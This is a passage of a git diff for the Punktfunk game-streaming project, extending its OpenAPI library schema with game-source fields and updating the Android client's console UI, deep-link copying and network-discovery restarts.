}, "400": { - "description": "Invalid provider id or payload", + "description": "Invalid provider id, store id, or payload", "content": { "application/json": { "schema": { @@ -1367,6 +1376,16 @@ } } }, + "409": { + "description": "That store is already claimed by another provider", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/ApiError" + } + } + } + }, "500": { "description": "Could not persist the catalog", "content": { @@ -4159,7 +4178,8 @@ "tier", "platforms", "compatible", - "update_available" + "update_available", + "categories" ], "properties": { "author": { @@ -4172,6 +4192,13 @@ ], "description": "A revocation covering the catalogued version — do not offer this without shouting." }, + "categories": { + "type": "array", + "items": { + "type": "string" + }, + "description": "What kind of plugin this is — the console filters Browse by these, and the Game sources\nsurface's \"Add a source\" rail shows exactly the `library` ones (design D5/D6)." + }, "compatible": { "type": "boolean", "description": "Can this host install it?" @@ -4179,6 +4206,13 @@ "description": { "type": "string" }, + "detected": { + "type": [ + "boolean", + "null" + ], + "description": "Whether the launcher this plugin scans looks **installed on this host** (design D8), from the\nindex's own existence probes. `null` = the entry declares no probes for this platform, which\nthe console renders as \"unknown\" rather than \"not installed\"." + }, "homepage": { "type": [ "string", @@ -4365,6 +4399,17 @@ ], "description": "The external provider owning this entry (RFC §8), set ONLY by the provider reconcile\nAPI — `None` = a manual entry, which no provider operation ever touches, and which the\nmanual CRUD alone may edit (the converse holds too: manual CRUD refuses provider-owned\nentries, so ownership is never ambiguous)." }, + "role": { + "$ref": "#/components/schemas/GameRole", + "description": "Whether this entry is a game or the launcher itself — see [`GameRole`]." + }, + "store": { + "type": [ + "string", + "null" + ], + "description": "The **store this entry was claimed under** (D2), stamped by a `?store=`-qualified reconcile.\n`None` = an unclaimed provider entry or a manual one, both of which surface as `custom`.\n\nMaterialized onto the entry rather than looked up in [`Catalog::claims`] on every read so an\nentry is self-describing: its id and its `store` badge derive from the entry alone, and stay\ncorrect even while the claim map is being rewritten." + }, "title": { "type": "string" } @@ -4409,6 +4454,10 @@ }, "description": "Per-title prep/undo steps — commands run as the host user; operator-privileged config." }, + "role": { + "$ref": "#/components/schemas/GameRole", + "description": "Whether this entry is a game or the launcher itself — see [`GameRole`]. A hand-added launcher\nentry is legal (an operator may want a \"Steam\" tile without installing the steam plugin)." + }, "title": { "type": "string" } @@ -4467,6 +4516,17 @@ "type": "object", "description": "What an operator (or a provider plugin) can tell the host about recognizing a title — the wire\nhalf of [`DetectSpec`], and the only part of it that is ever accepted from outside.\n\nDeliberately a **subset**: the store-derived signals (a Steam appid, a launcher's environment\nmarker) are things the host discovers for itself and would be meaningless — or dangerous — to take\non someone's word. What is left is what a provider genuinely knows and the host cannot guess: where\nthe title is installed, which executable is the game, what the process is called. All three are\noptional; supplying none is the same as supplying no hint at all.\n\nNever returned by the catalog API — see the module docs on why detect data does not cross the wire\noutbound.", "properties": { + "env_marker": { + "oneOf": [ + { + "type": "null" + }, + { + "$ref": "#/components/schemas/EnvMarker", + "description": "A launcher-stamped environment marker (D3) — see [`EnvMarker`]." + } + ] + }, "exe": { "type": [ "string", @@ -4487,6 +4547,15 @@ "null" ], "description": "The executable's file name (`Hades.exe`), when its location isn't fixed. Weakest of the three\n— see [`DetectSpec::process_name`]." + }, + "steam_appid": { + "type": [ + "integer", + "null" + ], + "format": "int32", + "description": "The Steam appid, for a title Steam itself installed (D3). On Linux this is the **sharpest**\nsignal that exists — Steam wraps every launch, native or Proton, in\n`reaper SteamLaunch AppId=`, whose lifetime is exactly the game's — so without it a\nsteam plugin's lease tracking would degrade from reaper-exact to install-dir prefix matching.", + "minimum": 0 } } }, @@ -4715,6 +4784,27 @@ } } }, + "EnvMarker": { + "type": "object", + "description": "An environment variable a launcher stamps onto the game's process, identifying it.\n\nSerializable because it is now half of the inbound [`DetectHint`] too (D3) — a library plugin\nthat knows its launcher's marker (Heroic's `HEROIC_APP_NAME`, load-bearing under Proton) has to\nbe able to say so, since after extraction the host no longer reads that launcher's files itself.", + "required": [ + "key" + ], + "properties": { + "key": { + "type": "string", + "description": "The variable name (e.g. `HEROIC_GAME_ID`).", + "example": "HEROIC_APP_NAME" + }, + "value": { + "type": [ + "string", + "null" + ], + "description": "The exact value to require, when the launcher's value identifies *this* title. `None` matches\nthe key's mere presence — only safe for launchers that run one game at a time." + } + } + }, "EventKind": { "oneOf": [ { @@ -5165,6 +5255,10 @@ ], "description": "The external provider owning this entry (custom-store entries synced by a provider\nplugin, RFC §8) — `None` for installed-store titles and manual custom entries. The\nconsole uses it for attribution; `GET /library?provider=` filters on it." }, + "role": { + "$ref": "#/components/schemas/GameRole", + "description": "Whether this entry is a game or the launcher itself — see [`GameRole`]." + }, "store": { "type": "string", "description": "Which store surfaced it: `\"steam\"` or `\"custom\"`.", @@ -5296,6 +5390,14 @@ } } }, + "GameRole": { + "type": "string", + "description": "What a library entry *is* — an ordinary title, or the launcher application itself (Steam Big\nPicture, Heroic, Playnite fullscreen). Purely a presentation hint: a launcher entry launches,\nleases and lists exactly like a game (design D4), and clients that don't know the field render it\nas a plain tile. Serde-default `game` and skip-serialized when default, so the wire is unchanged\nfor every entry that doesn't opt in.", + "enum": [ + "game", + "launcher" + ] + }, "GameSession": { "type": "string", "description": "How a session that **launches a game** (a library id on the Hello / apps.json / Decky pin) is\nserved (`design/gamemode-and-dedicated-sessions.md` §5.2). Orthogonal to the preset/lifecycle axes\n— a top-level [`DisplayPolicy`] field, NOT part of [`EffectivePolicy`], so a preset never clobbers\nit. Linux-only in effect (a launching Windows session opens into the one desktop).", @@ -6334,6 +6436,13 @@ "title" ], "properties": { + "category": { + "type": [ + "string", + "null" + ], + "description": "What KIND of plugin this is (`^[a-z][a-z0-9-]{0,31}$`), top-level rather than under `ui`\nbecause it describes the plugin, not its surface. The console knows one value today —\n`library` — which it filters **out of the nav**: six installed scanner plugins would otherwise\nflood the sidebar, and their real entry point is the Game sources surface (design D5). A\nlibrary plugin that genuinely wants its own page (rom-manager, which is much more than a\nscanner) simply omits the category." + }, "title": { "type": "string", "description": "Human-readable title for the console nav entry (1–64 chars; control chars stripped)." @@ -6366,6 +6475,13 @@ "title" ], "properties": { + "category": { + "type": [ + "string", + "null" + ], + "description": "The plugin's kind — see [`PluginRegistration::category`]." + }, "id": { "type": "string" }, @@ -6604,6 +6720,10 @@ }, "description": "Per-title prep/undo steps — commands run as the host user; operator-privileged config." }, + "role": { + "$ref": "#/components/schemas/GameRole", + "description": "Whether this entry is a game or the launcher itself — see [`GameRole`]. A library plugin\nemits its `launchers(cfg)` entries with `role: \"launcher\"`." + }, "title": { "type": "string" } @@ -6780,26 +6900,46 @@ }, "ScannerInfo": { "type": "object", - "description": "One installed-store scanner this host build supports, with its enable state — the unit the\nconsole renders a toggle for. The list is platform-gated at compile time (the scanners are),\nso the console never shows a toggle that cannot do anything on this host.", + "description": "One **game source** on this host, with its enable state — the unit the console renders a toggle\nfor. A source is either a scanner compiled into this build or a plugin that reconciles entries in\n(WP2.6); the console treats them identically, which is what makes the extraction invisible.", "required": [ "id", "label", - "enabled" + "enabled", + "origin" ], "properties": { "enabled": { "type": "boolean", - "description": "Whether this host runs the scanner (default true)." + "description": "Whether this host runs the source (default true)." + }, + "entries": { + "type": [ + "integer", + "null" + ], + "description": "How many entries this source currently contributes. `None` for a built-in scanner, whose\ncount would mean walking every launcher's files just to render a toggle.", + "minimum": 0 }, "id": { "type": "string", - "description": "Stable scanner id — the same string the scanner's entries carry in their `store` field.", + "description": "Stable source id — the same string this source's entries carry in their `store` field. For a\nplugin source it is also its provider id and its store claim: one string, by construction, so\na user's disabled state survives a built-in scanner being replaced by its plugin.", "example": "steam" }, "label": { "type": "string", "description": "Human-facing name for the console toggle.", "example": "Steam" + }, + "origin": { + "$ref": "#/components/schemas/SourceOrigin", + "description": "Where the source comes from: `builtin` (a scanner in this host build) or `plugin`." + }, + "provider": { + "type": [ + "string", + "null" + ], + "description": "The provider id backing a `plugin` source — absent for a built-in scanner." } } }, @@ -6962,6 +7102,14 @@ } } }, + "SourceOrigin": { + "type": "string", + "description": "Where a [`ScannerInfo`] comes from.", + "enum": [ + "builtin", + "plugin" + ] + }, "SourceView": { "type": "object", "description": "A configured catalog source and how its last refresh went.", diff --git a/clients/android/app/src/main/assets/THIRD-PARTY-NOTICES.txt b/clients/android/app/src/main/assets/THIRD-PARTY-NOTICES.txt index 75d8f836..7ec104a4 100644 --- a/clients/android/app/src/main/assets/THIRD-PARTY-NOTICES.txt +++ b/clients/android/app/src/main/assets/THIRD-PARTY-NOTICES.txt @@ -1,7 +1,7 @@ THIRD-PARTY SOFTWARE NOTICES ============================================================================ -punktfunk (https://git.unom.io/unom/punktfunk) is licensed under MIT OR Apache-2.0. +Punktfunk (https://git.unom.io/unom/punktfunk) is licensed under MIT OR Apache-2.0. The binaries it ships statically/dynamically link the third-party Rust crates listed below. Each is distributed under its own permissive license; the full license texts follow the manifest. This file is generated by scripts/gen-third-party-notices.py diff --git a/clients/android/app/src/main/kotlin/io/unom/punktfunk/App.kt b/clients/android/app/src/main/kotlin/io/unom/punktfunk/App.kt index 43a66b76..d24bcf08 100644 --- a/clients/android/app/src/main/kotlin/io/unom/punktfunk/App.kt +++ b/clients/android/app/src/main/kotlin/io/unom/punktfunk/App.kt @@ -31,6 +31,7 @@ import androidx.compose.material3.Scaffold import androidx.compose.material3.Text import androidx.compose.runtime.Composable import androidx.compose.runtime.CompositionLocalProvider +import androidx.compose.runtime.compositionLocalOf import androidx.compose.runtime.DisposableEffect import androidx.compose.runtime.LaunchedEffect import androidx.compose.runtime.getValue @@ -47,6 +48,7 @@ import android.widget.Toast import io.unom.punktfunk.kit.link.DeepLinkResult import io.unom.punktfunk.kit.link.DeepLinks import io.unom.punktfunk.kit.link.HostResolution +import io.unom.punktfunk.kit.SessionEndReason import io.unom.punktfunk.kit.security.KnownHostStore import io.unom.punktfunk.models.ActiveSession import io.unom.punktfunk.models.Tab @@ -61,6 +63,11 @@ fun App(forceGamepadUi: Boolean = false) { // so the stream screen never re-reads the store behind its own connect's back. var session by remember { mutableStateOf(null) } var tab by remember { mutableStateOf(Tab.Connect) } + // Set when a session ends because its game exited and it began as a library launch: the host + // whose library the console shell should come back to. Held HERE because the shell's own + // navigation state does not outlive the stream. Cleared once the shell has consumed it, so a + // later manual Back out of the library is not undone by a stale value. + var reopenLibraryHostId by remember { mutableStateOf(null) } // Console (gamepad) mode mirrors the Apple client: the setting AND (a pad is attached OR this is // a TV OR the dev force flag). Flips live as controllers connect/disconnect. @@ -98,6 +105,15 @@ fun App(forceGamepadUi: Boolean = false) { } } + // The console backdrop's colour family, published once from the live settings rather than + // threaded through every screen that draws a backdrop. Because it is read from the SAME + // `settings` state the gamepad settings screen writes, stepping the Background row recolours + // the field behind that very row. + val palette = GamepadPalette.named(settings.uiPalette) + CompositionLocalProvider( + LocalGamepadPalette provides palette, + LocalGamepadInk provides GamepadInk.of(palette), + ) { AnimatedContent( targetState = session, transitionSpec = { @@ -107,7 +123,20 @@ fun App(forceGamepadUi: Boolean = false) { ) { active -> if (active != null) { // Immersive: the stream takes the whole screen, no bottom bar. - StreamScreen(active, onDisconnect = { session = null }) + StreamScreen(active) { reason -> + // A game launched from a library exiting is a normal finish, and the player is + // almost certainly after the next title — so send them back to that library rather + // than all the way out to host selection. The console shell's own screen state does + // not survive the stream (StreamScreen replaces it in the composition, discarding + // its `remember`s), so the intent is hoisted here and handed back on the way in. + reopenLibraryHostId = + if (reason == SessionEndReason.GAME_EXITED && active.launchedFromLibrary) { + active.hostId + } else { + null + } + session = null + } } else if (gamepadUi) { GamepadShell( settings = settings, @@ -115,6 +144,8 @@ fun App(forceGamepadUi: Boolean = false) { onConnected = { session = it }, deepLink = pendingLink, onDeepLinkHandled = { activity?.pendingDeepLink = null }, + reopenLibraryHostId = reopenLibraryHostId, + onReopenLibraryHandled = { reopenLibraryHostId = null }, ) } else { // Adaptive nav: a bottom bar on phones; on tablets / large windows a side NavigationRail @@ -201,8 +232,16 @@ fun App(forceGamepadUi: Boolean = false) { } } } + } } +/** + * The console backdrop's colour family for everything under [App] — provided from the live + * settings so a change on the gamepad settings screen recolours every backdrop at once. Defaults + * to the brand violet, which is also what a preview or a test composition gets. + */ +val LocalGamepadPalette = compositionLocalOf { GamepadPalette.named("violet") } + /** Which console screen the gamepad shell is showing. */ private enum class GamepadScreen { Home, Settings, Library } @@ -218,11 +257,32 @@ fun GamepadShell( onConnected: (ActiveSession) -> Unit, deepLink: String? = null, onDeepLinkHandled: () -> Unit = {}, + /** + * Open this saved host's library instead of Home on the way in — set when a game launched from + * it has just exited. Null (the default) starts on Home exactly as before. + */ + reopenLibraryHostId: String? = null, + onReopenLibraryHandled: () -> Unit = {}, ) { val context = LocalContext.current var screen by remember { mutableStateOf(GamepadScreen.Home) } var libraryHost by remember { mutableStateOf(null) } + // Consume the "come back to this library" intent once, on entry. Keyed on the id so a second + // game exit re-fires it; the parent clears it immediately, so a manual Back stays backed out. + // A host that has since been forgotten simply leaves us on Home rather than failing. + LaunchedEffect(reopenLibraryHostId) { + val id = reopenLibraryHostId ?: return@LaunchedEffect + // Navigate BEFORE acknowledging: acknowledging clears the parent's state, which re-keys + // this effect and cancels the coroutine running it. Nothing suspends in between today, so + // either order happens to work — but this one cannot be broken by a later edit that adds a + // suspending call. A host that has since been forgotten just leaves us on Home. + KnownHostStore(context).all() + .firstOrNull { it.id == id } + ?.let { libraryHost = it; screen = GamepadScreen.Library } + onReopenLibraryHandled() + } + // On a TV, shrink the 10-foot UI so its elements aren't oversized. Density-aware: expand the // effective dp footprint to at least CONSOLE_TV_MIN_WIDTH_DP (→ smaller elements) ONLY when the // panel reports fewer dp than that; a low-density TV that's already spacious, and every phone / diff --git a/clients/android/app/src/main/kotlin/io/unom/punktfunk/ConnectDialogs.kt b/clients/android/app/src/main/kotlin/io/unom/punktfunk/ConnectDialogs.kt index 209b1d6e..35785456 100644 --- a/clients/android/app/src/main/kotlin/io/unom/punktfunk/ConnectDialogs.kt +++ b/clients/android/app/src/main/kotlin/io/unom/punktfunk/ConnectDialogs.kt @@ -168,9 +168,9 @@ internal fun LocalNetworkDialog(onAllow: () -> Unit, onSettings: () -> Unit, onD title = { Text("Allow local network access") }, text = { Text( - "Android blocks punktfunk from talking to devices on your network, so it can't " + + "Android blocks Punktfunk from talking to devices on your network, so it can't " + "find or reach any host until you allow it. If no prompt appears when you tap " + - "Allow, enable “Nearby devices” for punktfunk in system settings.", + "Allow, enable “Nearby devices” for Punktfunk in system settings.", ) }, confirmButton = { diff --git a/clients/android/app/src/main/kotlin/io/unom/punktfunk/ConnectOverlay.kt b/clients/android/app/src/main/kotlin/io/unom/punktfunk/ConnectOverlay.kt index 1b3ad31a..1b92b249 100644 --- a/clients/android/app/src/main/kotlin/io/unom/punktfunk/ConnectOverlay.kt +++ b/clients/android/app/src/main/kotlin/io/unom/punktfunk/ConnectOverlay.kt @@ -191,6 +191,7 @@ internal fun ConnectTakeover( onCancel: () -> Unit, onRetry: () -> Unit, ) { + val ink = LocalGamepadInk.current val copy = connectCopy(phase) val timedOut = phase is ConnectPhase.WakeTimedOut @@ -212,7 +213,7 @@ internal fun ConnectTakeover( Icon( Icons.Filled.Bedtime, contentDescription = null, - tint = Color.White.copy(alpha = 0.9f), + tint = ink.fg(0.9f), modifier = Modifier.size(46.dp), ) } @@ -221,14 +222,14 @@ internal fun ConnectTakeover( } Text( copy.title, - color = Color.White, + color = ink.fg, fontWeight = FontWeight.Bold, fontSize = 24.sp, textAlign = TextAlign.Center, ) Text( copy.subtitle, - color = Color.White.copy(alpha = 0.65f), + color = ink.fg(0.65f), fontSize = 14.sp, textAlign = TextAlign.Center, fontFamily = if (copy.monoSubtitle) FontFamily.Monospace else FontFamily.Default, @@ -249,6 +250,7 @@ internal fun ConnectTakeover( */ @Composable private fun PulsingSpinner() { + val ink = LocalGamepadInk.current val transition = rememberInfiniteTransition(label = "connectPulse") val pulse by transition.animateFloat( initialValue = 0f, @@ -262,14 +264,14 @@ private fun PulsingSpinner() { for (i in 0..1) { val p = (pulse + i * 0.5f) % 1f drawCircle( - color = Color(0xFF8678F5).copy(alpha = (1f - p) * 0.35f), + color = ink.accent.copy(alpha = (1f - p) * 0.35f), radius = maxR * (0.42f + p * 0.58f), style = Stroke(width = 2.dp.toPx()), ) } } CircularProgressIndicator( - color = Color.White, + color = ink.fg, strokeWidth = 3.dp, modifier = Modifier.size(54.dp), ) diff --git a/clients/android/app/src/main/kotlin/io/unom/punktfunk/ConnectScreen.kt b/clients/android/app/src/main/kotlin/io/unom/punktfunk/ConnectScreen.kt index c8e80229..bafadedb 100644 --- a/clients/android/app/src/main/kotlin/io/unom/punktfunk/ConnectScreen.kt +++ b/clients/android/app/src/main/kotlin/io/unom/punktfunk/ConnectScreen.kt @@ -1,11 +1,14 @@ package io.unom.punktfunk import android.Manifest +import android.content.ClipData +import android.content.ClipboardManager import android.content.Context import android.content.Intent import android.content.pm.PackageManager import android.net.Uri import android.os.Build +import android.widget.Toast import androidx.activity.compose.rememberLauncherForActivityResult import androidx.activity.result.contract.ActivityResultContracts import androidx.compose.foundation.layout.Arrangement @@ -168,8 +171,7 @@ fun ConnectScreen( lnpPrompt = false // The browse started while blocked (its sockets failed or received nothing) — restart it // now that the grant makes them work. - discovery.stop() - discovery.start() + discovery.restart() } else { lnpPrompt = true // rationale + "Open settings" (a permanently-denied request returns instantly) } @@ -191,12 +193,27 @@ fun ConnectScreen( // or otherwise notify the app — this observer is what turns the grant into a live discovery. DisposableEffect(Unit) { val lifecycle = (context as? LifecycleOwner)?.lifecycle + // Whether we've actually been away. ON_RESUME also fires on first entry, right after the + // effect below starts the browse — restarting it there would be pure churn. + var wasPaused = false val obs = LifecycleEventObserver { _, event -> - if (event == Lifecycle.Event.ON_RESUME && !lnpGranted && hasLocalNetworkPermission(context)) { - lnpGranted = true - lnpPrompt = false - discovery.stop() - discovery.start() + when (event) { + Lifecycle.Event.ON_PAUSE -> wasPaused = true + Lifecycle.Event.ON_RESUME -> { + if (!lnpGranted && hasLocalNetworkPermission(context)) { + lnpGranted = true + lnpPrompt = false + discovery.restart() + } else if (wasPaused) { + // Coming back from the background: the browse may have been sitting idle + // (or had its multicast socket torn out from under it) while we were away, + // and its own re-query interval has kept doubling. Re-arm and ask again, + // so returning to the screen is enough — no app restart. + discovery.restart() + } + wasPaused = false + } + else -> {} } } lifecycle?.addObserver(obs) @@ -608,6 +625,32 @@ fun ConnectScreen( savedHosts = knownHostStore.all() } + // "Copy link" — the self-emitted form every other client already hands out + // (design/client-deep-links.md §4): the host's STABLE id first, with `host=` and `fp=` alongside, + // so a link written today still lands on the right box after the host changes address or this + // client is reinstalled. A PINNED card copies its own profile with it, because that combination + // is the thing being copied; a host card copies no profile at all and so keeps honouring the + // host's binding, exactly like a tap on it does. + fun copyLink(kh: KnownHost, pin: StreamProfile?) { + val url = DeepLinks.forHost(kh, profile = pin?.id).toUrl() + val clipboard = context.getSystemService(Context.CLIPBOARD_SERVICE) as? ClipboardManager + val copied = clipboard != null && runCatching { + clipboard.setPrimaryClip(ClipData.newPlainText("Punktfunk link", url)) + }.isSuccess + // Android 13 draws its own clipboard confirmation, and stacking a second one on top of it is + // the platform's own documented anti-pattern. Below it nothing visible happens at all unless + // we say so — a silent menu item reads as a broken one. + if (copied && Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) return + val message = if (copied) "Link copied." else "Couldn't copy the link to the clipboard." + // The console home renders neither the notice nor the status banner, so there it has to be a + // toast; the touch grid has both, and a success dressed as an error banner is a small lie. + when { + gamepadUi -> Toast.makeText(context, message, Toast.LENGTH_SHORT).show() + copied -> notice = message + else -> status = message + } + } + // The profile rows a card's overflow menu grows. With no profiles at all it stays empty — a // user who never wants this feature sees no new clutter anywhere but the settings scope chips. // "Connect with" is a ONE-OFF on every card: it never rebinds the host, which is why rebinding @@ -616,6 +659,7 @@ fun ConnectScreen( if (pin == null) { add(HostMenuItem("Network speed test") { startSpeedTest(HostCardEntry(kh, null)) }) } + add(HostMenuItem("Copy link") { copyLink(kh, pin) }) if (profiles.isEmpty()) return@buildList if (pin != null) { add(HostMenuItem("Unpin card", startsSection = true) { togglePin(kh, pin) }) @@ -897,7 +941,7 @@ fun ConnectScreen( color = MaterialTheme.colorScheme.onErrorContainer, ) Text( - "Android blocks punktfunk from finding or reaching hosts until you allow it.", + "Android blocks Punktfunk from finding or reaching hosts until you allow it.", style = MaterialTheme.typography.bodyMedium, color = MaterialTheme.colorScheme.onErrorContainer, textAlign = TextAlign.Center, @@ -1009,20 +1053,28 @@ fun ConnectScreen( // rather than looking idle/empty. Suppressed while local network access is denied — // a spinner would be a lie there (the browse can't receive anything); the banner above // owns that state. - if (lnpGranted && !connecting && discovered.isEmpty()) { + // Scan again is offered whether or not anything turned up: the case that sends people + // here is ONE expected host missing, not an empty list, and a browse that quietly went + // deaf (blocked when it started, or backed off to its hour-long re-query) looks + // exactly like a network without that host on it. + if (lnpGranted && !connecting) { item(span = { GridItemSpan(maxLineSpan) }) { Row( modifier = Modifier.fillMaxWidth().padding(vertical = 12.dp), horizontalArrangement = Arrangement.Center, verticalAlignment = Alignment.CenterVertically, ) { - CircularProgressIndicator(modifier = Modifier.size(16.dp), strokeWidth = 2.dp) - Spacer(Modifier.width(8.dp)) - Text( - "Searching the local network…", - style = MaterialTheme.typography.bodyMedium, - color = MaterialTheme.colorScheme.onSurfaceVariant, - ) + if (discovered.isEmpty()) { + CircularProgressIndicator(modifier = Modifier.size(16.dp), strokeWidth = 2.dp) + Spacer(Modifier.width(8.dp)) + Text( + "Searching the local network…", + style = MaterialTheme.typography.bodyMedium, + color = MaterialTheme.colorScheme.onSurfaceVariant, + ) + Spacer(Modifier.width(8.dp)) + } + TextButton(onClick = { discovery.restart() }) { Text("Scan again") } } } } @@ -1140,6 +1192,7 @@ fun ConnectScreen( } else { null }, + onCopyLink = { optionsTarget = null; copyLink(kh, pin) }, onEdit = { optionsTarget = null; editTarget = kh }, onForget = { knownHostStore.remove(kh) diff --git a/clients/android/app/src/main/kotlin/io/unom/punktfunk/ControllersScreen.kt b/clients/android/app/src/main/kotlin/io/unom/punktfunk/ControllersScreen.kt index 6c56bee5..c95a6e79 100644 --- a/clients/android/app/src/main/kotlin/io/unom/punktfunk/ControllersScreen.kt +++ b/clients/android/app/src/main/kotlin/io/unom/punktfunk/ControllersScreen.kt @@ -191,7 +191,7 @@ fun ControllersScreen(gamepadSetting: Int, onBack: () -> Unit) { dsUsb?.let { DsRow(it) } if (pads.isEmpty() && !sc2Present) { Text( - "No controller detected. punktfunk can only forward devices Android " + + "No controller detected. Punktfunk can only forward devices Android " + "classifies as a gamepad or joystick — a pad connected through an adapter " + "or hub may show up under \"Other input devices\" below with the adapter's " + "identity, or not at all.", diff --git a/clients/android/app/src/main/kotlin/io/unom/punktfunk/GamepadAddHostScreen.kt b/clients/android/app/src/main/kotlin/io/unom/punktfunk/GamepadAddHostScreen.kt index 7da0c8a2..00e2cf5a 100644 --- a/clients/android/app/src/main/kotlin/io/unom/punktfunk/GamepadAddHostScreen.kt +++ b/clients/android/app/src/main/kotlin/io/unom/punktfunk/GamepadAddHostScreen.kt @@ -79,6 +79,7 @@ fun GamepadAddHostScreen( suggestedMacs: List = emptyList(), onSave: ((KnownHost) -> Unit)? = null, ) { + val ink = LocalGamepadInk.current val context = LocalContext.current val isTv = remember { isTvDevice(context) } val isEdit = editHost != null @@ -245,7 +246,7 @@ fun GamepadAddHostScreen( Text( "Hosts on this network appear automatically — add one by address for everything else.", style = MaterialTheme.typography.bodyMedium, - color = Color.White.copy(alpha = 0.55f), + color = ink.fg(0.55f), modifier = Modifier.widthIn(max = 520.dp).padding(bottom = 8.dp), ) } @@ -306,6 +307,7 @@ private fun TvAddHostForm( onAdd: () -> Unit, onDismiss: () -> Unit, ) { + val ink = LocalGamepadInk.current BackHandler(onBack = onDismiss) val firstFocus = remember { FocusRequester() } Box(Modifier.fillMaxSize()) { @@ -319,11 +321,11 @@ private fun TvAddHostForm( .verticalScroll(rememberScrollState()), verticalArrangement = Arrangement.spacedBy(16.dp), ) { - Text(title, style = MaterialTheme.typography.headlineMedium, fontWeight = FontWeight.Bold, color = Color.White) + Text(title, style = MaterialTheme.typography.headlineMedium, fontWeight = FontWeight.Bold, color = ink.fg) Text( "Hosts on this network appear automatically — add one by address for everything else.", style = MaterialTheme.typography.bodyMedium, - color = Color.White.copy(alpha = 0.55f), + color = ink.fg(0.55f), ) OutlinedTextField( value = name, onValueChange = onName, singleLine = true, @@ -362,6 +364,7 @@ private fun rowCols(row: Int): Int = if (row < KB_ACTIONS_ROW) KB_CHAR_ROWS[row] @Composable private fun FieldRow(f: Field, focused: Boolean, editing: Boolean, onClick: () -> Unit) { + val ink = LocalGamepadInk.current val visuals = animateConsoleFocus(active = focused || editing, editing = editing) val shape = RoundedCornerShape(14.dp) Row( @@ -375,25 +378,26 @@ private fun FieldRow(f: Field, focused: Boolean, editing: Boolean, onClick: () - .padding(horizontal = 16.dp, vertical = 14.dp), verticalAlignment = Alignment.CenterVertically, ) { - Text(f.label, style = MaterialTheme.typography.bodyLarge, fontWeight = FontWeight.SemiBold, color = Color.White) + Text(f.label, style = MaterialTheme.typography.bodyLarge, fontWeight = FontWeight.SemiBold, color = ink.fg) Spacer(Modifier.weight(1f)) Text( f.value.ifEmpty { f.placeholder }, style = MaterialTheme.typography.bodyMedium.copy(fontFamily = FontFamily.Monospace), - color = if (f.value.isEmpty()) Color.White.copy(alpha = 0.35f) else Color.White, + color = if (f.value.isEmpty()) ink.fg(0.35f) else ink.fg, maxLines = 1, overflow = TextOverflow.Ellipsis, ) - if (editing) Text(" |", color = Color(0xFF8678F5)) + if (editing) Text(" |", color = ink.accent) } } @Composable private fun AddActionRow(label: String, enabled: Boolean, focused: Boolean, onClick: () -> Unit) { + val ink = LocalGamepadInk.current val visuals = animateConsoleFocus(active = focused) val shape = RoundedCornerShape(14.dp) val labelColor by animateColorAsState( - if (enabled) Color(0xFF8678F5) else Color.White.copy(alpha = 0.35f), + if (enabled) ink.accent else ink.fg(0.35f), tween(160), label = "addLabel", ) @@ -425,6 +429,7 @@ private fun KeyboardGrid( bottomInset: Dp = 0.dp, // empty frame at the bottom of the glass for the floating legend to sit over onKey: (Int, Int) -> Unit, ) { + val ink = LocalGamepadInk.current val shape = RoundedCornerShape(20.dp) val gap = if (compact) 5.dp else 7.dp Column( @@ -433,7 +438,7 @@ private fun KeyboardGrid( .widthIn(max = 640.dp) .clip(shape) .background(Color(0x1FFFFFFF)) - .border(1.dp, Color.White.copy(alpha = 0.12f), shape) + .border(1.dp, ink.fg(0.12f), shape) .padding(start = 12.dp, end = 12.dp, top = if (compact) 8.dp else 12.dp, bottom = 12.dp + bottomInset), verticalArrangement = Arrangement.spacedBy(gap), ) { @@ -454,14 +459,15 @@ private fun KeyboardGrid( @Composable private fun Keycap(label: String, focused: Boolean, compact: Boolean, modifier: Modifier = Modifier, onClick: () -> Unit) { + val ink = LocalGamepadInk.current // Fast tweens: the keyboard cursor hops many keys per second under hold-to-repeat, so the // trailing key must have faded before the cursor is two keys away — quick, but no longer a snap. val bg by animateColorAsState( - if (focused) Color(0xFF8678F5) else Color(0x14FFFFFF), + if (focused) ink.accent else ink.glass, tween(90), label = "keyBg", ) - val fg by animateColorAsState(if (focused) Color.Black else Color.White, tween(90), label = "keyFg") + val fg by animateColorAsState(if (focused) Color.Black else ink.fg, tween(90), label = "keyFg") Box( modifier = modifier .height(if (compact) 34.dp else 44.dp) diff --git a/clients/android/app/src/main/kotlin/io/unom/punktfunk/GamepadChrome.kt b/clients/android/app/src/main/kotlin/io/unom/punktfunk/GamepadChrome.kt index e7e4cefb..6e6219b5 100644 --- a/clients/android/app/src/main/kotlin/io/unom/punktfunk/GamepadChrome.kt +++ b/clients/android/app/src/main/kotlin/io/unom/punktfunk/GamepadChrome.kt @@ -14,6 +14,8 @@ import androidx.compose.foundation.Canvas import androidx.compose.foundation.background import androidx.compose.foundation.border import androidx.compose.foundation.clickable +import androidx.compose.foundation.horizontalScroll +import androidx.compose.foundation.rememberScrollState import androidx.compose.foundation.layout.Arrangement import androidx.compose.foundation.layout.Box import androidx.compose.foundation.layout.PaddingValues @@ -23,6 +25,9 @@ import androidx.compose.foundation.layout.offset import androidx.compose.foundation.layout.padding import androidx.compose.foundation.layout.size import androidx.compose.foundation.layout.width +import androidx.compose.foundation.lazy.LazyRow +import androidx.compose.foundation.lazy.itemsIndexed +import androidx.compose.foundation.lazy.rememberLazyListState import androidx.compose.foundation.shape.CircleShape import androidx.compose.foundation.shape.RoundedCornerShape import androidx.compose.material.icons.Icons @@ -31,7 +36,9 @@ import androidx.compose.material3.Icon import androidx.compose.material3.MaterialTheme import androidx.compose.material3.Text import androidx.compose.runtime.Composable +import androidx.compose.runtime.LaunchedEffect import androidx.compose.runtime.getValue +import androidx.compose.runtime.remember import androidx.compose.ui.Alignment import androidx.compose.ui.Modifier import androidx.compose.ui.draw.clip @@ -65,9 +72,12 @@ import kotlin.math.sin // connected-controller status chip. One look across every screen is what makes the console UI read // as a coherent mode rather than a set of themed pages. -/** One drifting colour blob of the aurora field. Integer [sx]/[sy] keep the loop seamless at wrap. */ +/** + * One drifting blob of the aurora field: where it sits, how far it wanders, and how fast. Integer + * [sx]/[sy] keep the loop seamless at wrap. The COLOUR is the palette's, taken from its ramp at + * draw time, so the field always shows several of that palette's tones at once. + */ private class AuroraBlob( - val color: Color, val baseX: Float, val baseY: Float, val driftX: Float, @@ -80,50 +90,80 @@ private class AuroraBlob( ) private val auroraBlobs = listOf( - AuroraBlob(Color(0xFF877AF5), 0.30f, 0.26f, 0.16f, 0.10f, 1, 1, 0.0f, 0.62f, 